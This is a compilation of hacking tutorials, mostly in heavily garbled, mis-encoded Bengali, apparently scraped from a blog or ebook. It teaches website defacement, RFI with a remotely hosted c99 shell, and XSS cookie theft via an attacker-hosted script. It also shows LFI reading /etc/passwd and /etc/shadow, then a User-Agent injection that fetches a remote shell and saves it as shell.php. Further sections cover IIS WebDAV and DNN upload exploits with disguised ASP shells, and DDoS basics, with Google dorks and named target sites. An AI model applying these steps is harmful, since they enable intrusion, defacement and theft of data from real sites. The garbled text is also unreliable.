কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 13: Hacking Bangla eBook

এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip

এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip

httph1ripwaycomtjunselectedc99shellphp

এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp

এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন

তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না

কতনফবাকতচতটিউনাযtrade

XSS কতক

XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web

Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয

ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600

xss-threat3jpg

XSS Vulnerability and Injection

যাপ ১ Vulnerable মেব িািআট োমজ মবর করা

অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks

ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=

তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন

যাপ ২ Vulnerability পরীো করা

এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন

না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password

Vulnerability যীকষা কযা জনয দটি িকতত অচছছ

পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয

http2bpblogspotcom-

8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg

পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

